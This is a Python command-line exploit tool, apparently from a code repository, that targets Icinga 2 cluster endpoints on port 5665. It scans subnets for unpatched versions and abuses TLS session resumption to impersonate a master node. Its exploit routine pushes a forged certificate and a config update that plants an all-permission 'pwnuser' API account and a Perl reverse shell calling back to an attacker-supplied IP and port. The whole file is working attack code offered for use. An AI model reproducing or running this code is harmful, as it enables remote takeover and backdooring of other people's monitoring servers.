README.md
Rendering markdown...
import socket
import json
from OpenSSL import SSL
from OpenSSL.SSL import ZeroReturnError, WantReadError
import time
import asyncio
import ipaddress
import os
import subprocess
import tabulate
import click
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.serialization import Encoding
from cryptography.x509 import load_pem_x509_certificate
from cryptography.exceptions import InvalidSignature
import logging
logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO"))
def calculate_cert_fingerprint(cert_pem, cn):
try:
# Load the X.509 certificate from PEM
if isinstance(cert_pem, str):
cert_pem = cert_pem.encode('utf-8')
cert = load_pem_x509_certificate(cert_pem)
# Compute the SHA-256 digest
fingerprint = cert.fingerprint(hashes.SHA256())
# Convert the digest to a hexadecimal string
cert_fingerprint = ''.join(f'{byte:02x}' for byte in fingerprint)
return cert_fingerprint
except Exception as e:
logging.info(f"Exception: {e}")
def generate_self_signed_cert(certfile, keyfile, cn):
# Check if the certificate and key files already exist
if os.path.exists(certfile) and os.path.exists(keyfile):
# Check if the CN matches
with open(certfile, "r") as f:
cert_pem = f.read()
cert = load_pem_x509_certificate(cert_pem.encode('utf-8'))
logging.info(cert.subject.rfc4514_string())
if cert.subject.rfc4514_string() == f"CN={cn}":
return
# Use OpenSSL via subprocess to generate the certificate
subprocess.run(
[
"openssl",
"req",
"-nodes",
"-new",
"-x509",
"-keyout",
keyfile,
"-out",
certfile,
"-subj",
f"/CN={cn}",
],
check=True,
)
def generate_ca_cert(ca_certfile, ca_keyfile, ca_cn):
# Check if the certificate and key files already exist
if os.path.exists(ca_certfile) and os.path.exists(ca_keyfile):
return
# Use OpenSSL via subprocess to generate the certificate
subprocess.run(
[
"openssl",
"req",
"-nodes",
"-new",
"-x509",
"-keyout",
ca_keyfile,
"-out",
ca_certfile,
"-subj",
f"/CN={ca_cn}",
],
check=True,
)
# def create_ssl_context(certfile, keyfile):
# """
# Create an SSL context for the connection.
# """
# context = SSL.Context(SSL.TLSv1_2_METHOD)
# context.use_certificate_file(certfile)
# context.use_privatekey_file(keyfile)
# return context
def create_ssl_context(certfile, keyfile):
import ssl
# Create an SSL context
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
# Load the certificate chain (client certificate and private key)
context.load_cert_chain(certfile=certfile, keyfile=keyfile)
# Load the CA file for verifying the server
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context
def create_netstring(data):
data_bytes = data.encode("utf-8")
length_str = str(len(data_bytes))
netstring = f"{length_str}:{data},"
netstring_bytes = netstring.encode("utf-8")
logging.debug(f"NetString Bytes: {netstring_bytes}")
return netstring_bytes
def parse_netstring(netstring_bytes):
# logging.info("NetString Bytes:", netstring_bytes)
if len(netstring_bytes) == 0:
return None
# Find the colon separator
colon_index = netstring_bytes.find(b":")
if colon_index == -1:
raise ValueError("Invalid NetString: No colon found")
# Extract length
length_str = netstring_bytes[:colon_index].decode("utf-8")
try:
length = int(length_str)
except ValueError:
return None
# Extract data
start = colon_index + 1
end = start + length
data = netstring_bytes[start:end]
# Verify trailing comma
if netstring_bytes[end : end + 1] != b",":
logging.info("Invalid NetString: Missing trailing comma")
return None
# raise ValueError("Invalid NetString: Missing trailing comma")
return data.decode("utf-8")
async def async_ssl_connection_w_exploit(host, port, context):
# Create an SSL connection asynchronously
reader, writer = await asyncio.open_connection(host, port, ssl=context)
try:
# Send an HTTP request
writer.write(b'GET /v1 HTTP/1.1\r\nHost: localhost:5665\r\n\r\n')
await writer.drain()
# Get the underlying SSL object
ssl_object = writer.get_extra_info("ssl_object")
if ssl_object:
# Save the TLS session for reuse
session = ssl_object.session
# Read the response
response = await reader.read(4096)
logging.debug("Response:" + response.decode('utf-8'))
finally:
writer.close()
await writer.wait_closed()
# Reuse SSL session, to exploit the session resumption vulnerability
context.session = session
reader, writer = await asyncio.open_connection(host, port, ssl=context)
logging.info("Session restored.")
return reader, writer
def pyopenssl_connect_with_session(host, port, context, session=None):
sock = socket.create_connection((host, port))
conn = SSL.Connection(context, sock)
if session:
conn.set_session(session)
conn.set_connect_state()
conn.do_handshake()
return conn, conn.get_session()
async def make_request_with_pyopenssl(host, port, certfile, keyfile, session=None):
context = SSL.Context(SSL.TLSv1_2_METHOD)
context.use_certificate_file(certfile)
context.use_privatekey_file(keyfile)
conn, new_session = await asyncio.to_thread(
pyopenssl_connect_with_session, host, port, context, session
)
try:
conn.sendall(b'GET /v1 HTTP/1.1\r\nHost: localhost:5665\r\n\r\n')
response = conn.recv(4096)
logging.debug("Response:" + response.decode('utf-8'))
finally:
conn.shutdown()
conn.close()
return new_session, context
async def scan_host_for_vuln(host, ssl_context, port=5665, timeout=3):
logging.info(f"Scanning host: {host}")
# Create an SSL connection asynchronously
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port, ssl=ssl_context), timeout=timeout
)
except asyncio.TimeoutError:
logging.info(f"Connection timed out: {host}")
return
except Exception as e:
logging.info(f"Failed to connect to host: {host}")
return
try:
# Send Icinga Hello
jsonrpc_request = {
"jsonrpc": "2.0",
"method": "icinga::Hello",
"params": {"version": 21300, "capabilities": 3},
}
json_data = json.dumps(jsonrpc_request)
netstring_message = create_netstring(json_data)
writer.write(netstring_message)
await writer.drain()
# Read the response
net_data_response = await reader.read(4096)
# Parse the netstring response
response = parse_netstring(net_data_response)
response_json = json.loads(response)
logging.info(f"Response JSON: {response_json}")
# Check if the response indicates a vulnerable server
# If the version is less than 2.14.3 (21403), the server is vulnerable
# 2.14.3, 2.13.10, 2.12.11, and 2.11.12 are the patched versions
# Example response:
# {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 3, 'version': 21402}}
version = response_json.get("params", {}).get("version", 0)
if version < 21403 and version not in [21310, 21211, 21112]:
logging.info(f"Vulnerable server detected: {host} Version: {version}")
return (host, version, True)
else:
logging.info(f"Server is not vulnerable: {host} Version: {version}")
return (host, version, False)
except Exception as e:
logging.info(f"Failed to connect to host: {host}")
return
finally:
writer.close()
await writer.wait_closed()
async def scan_subnet_for_vuln(
subnet: str,
csv_format: bool,
vuln_only: bool,
port=5665,
batch=10,
node_cn="icinga-master",
):
certfile = "fake-node.crt"
keyfile = "fake-node.key"
generate_self_signed_cert(certfile, keyfile, node_cn)
ssl_context = create_ssl_context(certfile, keyfile)
# Create a list of tasks for each IP in the subnet
tasks = []
# Get the IP addresses in the subnet
# Batch the tasks in groups of 10
results = []
ips = list(ipaddress.ip_network(subnet).hosts())
for index, ip in enumerate(ips):
if index % batch == 0:
results.append(await asyncio.gather(*tasks))
tasks = []
tasks.append(scan_host_for_vuln(str(ip), ssl_context, port))
results.append(await asyncio.gather(*tasks))
if vuln_only:
results = [
[result for result in batch if result is not None and result[2]]
for batch in results
]
if csv_format:
_display_results_csv(results, vuln_only)
else:
_display_results_tabular(results)
def _display_results_tabular(results):
table_data = []
for batch in results:
for result in batch:
if result is not None:
table_data.append([result[0], result[1], "Yes" if result[2] else "No"])
headers = ["Host", "Version", "Vulnerable"]
print(tabulate.tabulate(table_data, headers=headers, tablefmt="grid"))
def _display_results_csv(results, vuln_only):
for batch in results:
for result in batch:
if result is not None:
if vuln_only and not result[2]:
continue
print(f"{result[0]},{result[1]},{result[2]}")
async def _write_netstring_pyopenssl(conn, data):
# JSON
dump = json.dumps(data)
netstring = create_netstring(dump)
await asyncio.to_thread(conn.write, netstring)
async def trigger_exploit_and_send_hello(host, certfile, keyfile, port=5665, node_cn="icinga-master"):
session, context = await make_request_with_pyopenssl(host, port, certfile, keyfile)
conn, _ = pyopenssl_connect_with_session(host, port, context, session)
jsonrpc_request = {
"jsonrpc": "2.0",
"method": "icinga::Hello",
"params": {"version": 21300, "capabilities": 3},
}
await _write_netstring_pyopenssl(conn, jsonrpc_request)
return conn
async def send_pki_update(node_cn, our_ca, our_ca_key, our_ca_text, conn):
# We sign the certificate with our CA
subprocess.run(
[
"openssl",
"req",
"-new",
"-key",
"fake-node.key",
"-out",
"fake-node.csr",
"-subj",
f"/CN={node_cn}",
],
check=True,
)
subprocess.run(
[
"openssl",
"x509",
"-req",
"-in",
"fake-node.csr",
"-CA",
our_ca,
"-CAkey",
our_ca_key,
"-CAcreateserial",
"-out",
"fake-node-signed.crt",
],
check=True,
)
with open("fake-node-signed.crt", "r") as f:
newcert = f.read()
# Endpoint 'icinga-master' sent an invalid certificate fingerprint: '' for CN 'icinga-master'
# Get fingerprint of our cn
fingerprint = calculate_cert_fingerprint(newcert, node_cn)
result = {
"cert": newcert,
"ca": our_ca_text,
"fingerprint_request": fingerprint,
"status_code": 0
}
message = {
"jsonrpc": "2.0",
"method": "pki::UpdateCertificate",
"params": result
}
await _write_netstring_pyopenssl(conn, message)
async def exploit_host(host, revip, revport, port=5665, node_cn="icinga-master", zone="master"):
certfile = "fake-node.crt"
keyfile = "fake-node.key"
generate_self_signed_cert(certfile, keyfile, node_cn)
our_ca="fake-ca.crt"
our_ca_key="fake-ca.key"
generate_ca_cert(our_ca, our_ca_key, "Fake CA")
with open(our_ca, "r") as f:
our_ca_text = f.read()
count = 0
while count < 50:
count += 1
try:
conn = await trigger_exploit_and_send_hello(host, certfile, keyfile, port, node_cn)
endpoint_cn = conn.get_peer_certificate().get_subject().commonName
logging.info(f"Connected to endpoint: {endpoint_cn}")
# Read the response
net_data_response = conn.read(4096)
# Parse the netstring response
response = parse_netstring(net_data_response)
response_json = json.loads(response)
logging.info(f"Response JSON: {response_json}")
# Send execute command
execute_command_jsonrpc_request = {
"jsonrpc": "2.0",
"method": "event::ExecuteCommand",
"params": {
"host": endpoint_cn, # Replace with the actual hostname
"service": "icinga_exploit", # Replace with the actual service name
"command_type": "check_command", # Indicating it's a check command
"command": "icinga_exploit", # Replace with the actual command name
"check_timeout": 60, # Timeout value in seconds (adjust as needed)
"endpoint": endpoint_cn,
"deadline": time.time() + 60, # Deadline for the command
"source": "unique-execution-id", # Replace with a unique UUID
"macros": {}
}}
await _write_netstring_pyopenssl(conn, execute_command_jsonrpc_request)
for i in range(10):
net_data_response = conn.read(4096)
response = parse_netstring(net_data_response)
if response:
response_json = json.loads(response)
logging.info(f"Response JSON: {response_json}")
# Check incoming messages
## if we get a pki::RequestCertificate we can send our own pki::UpdateCertificate
if response_json["method"] == "pki::RequestCertificate":
logging.info("Received RequestCertificate")
await send_pki_update(node_cn, our_ca, our_ca_key, our_ca_text, conn)
elif response_json["method"] == "event::ExecutedCommand":
logging.info("Received ExecutedCommand")
# Check if the command was our exploit command
if response_json["params"]["service"] == "icinga_exploit":
# If the command was not found, we can add it
if "Check command 'icinga_exploit' does not exist." in response_json["params"]["output"]:
# Send update command to add new check command
revShell = (
f'use Socket;$i="{revip}";$p={revport};'
'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
'if(connect(S,sockaddr_in($p,inet_aton($i)))){'
'open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
)
# Properly escape for JSON and shell
escapedRevShell = revShell.replace('$', '$$') # Escape `$` for Icinga Macros
escapedRevShell = escapedRevShell.replace('"', '\\"') # Escape `"` for JSON
command = f'command = ["perl", "-e", "{escapedRevShell}"]'
object = f'object CheckCommand "icinga_exploit" {{\n{command}\n}}'
# Send update command to enable API
updates = {
"/etc/icinga2/conf.d/api-users.conf": "object ApiUser \"pwnuser\" {permissions = [ \"*\" ]\npassword = \"icinga\"}",
"/etc/icinga2/conf.d/commands.conf": object,
"/etc/icinga2/conf.d/hosts.conf": "object Host \"localhost-pwn\" {address = \"127.0.0.1\"\ncheck_command = \"icinga_exploit\"\n}",
"/etc/icinga2/conf.d/services.conf": "object Service \"icinga_exploit\" {host_name = \"localhost-pwn\"\ncheck_command = \"icinga_exploit\"\ncheck_interval = 30m\nretry_interval = 15s\n}"
}
jsonrpc_request = {
"jsonrpc": "2.0",
"method": "config::Update",
"params": {"update": {zone: updates}},
}
logging.info("Sending config update")
await _write_netstring_pyopenssl(conn, jsonrpc_request)
# this will reload icinga so we need to reconnect, so lets break out of the loop
break
await asyncio.sleep(0.5)
# Now that we have sent the update, we need to reconnect
await asyncio.sleep(2)
except ZeroReturnError:
logging.info("Connection closed by server, this usually indicates that there is a satellite/master already connected. Or Icinga is reloading. Reconnecting")
except Exception as e:
logging.info(e)
@click.group()
def cli():
pass
@cli.command()
@click.option("--subnet", prompt="Subnet to scan")
@click.option("--csv", is_flag=False, help="Print results in CSV format.")
@click.option("--vuln", is_flag=True, help="Print only vulnerable hosts.")
@click.option("--port", default=5665, help="Port to scan.")
@click.option("--batch", default=10, help="Batch size for scanning.")
def scan(subnet, csv, vuln, port, batch):
asyncio.run(scan_subnet_for_vuln(subnet, csv, vuln, port=port, batch=batch))
@cli.command()
@click.option("--host", prompt="Host to exploit")
@click.option("--port", default=5665, help="Icinga port")
@click.option("--node-cn", default="icinga-master", help="Node CN to impersonate")
@click.option("--zone", default="master", help="Zone to target")
@click.option("--revip", prompt="Reverse shell IP")
@click.option("--revport", prompt="Reverse shell port")
def exploit(host, port, node_cn, revip, revport, zone):
asyncio.run(exploit_host(host, port=port, node_cn=node_cn, revip=revip, revport=revport, zone=zone))
if __name__ == "__main__":
cli()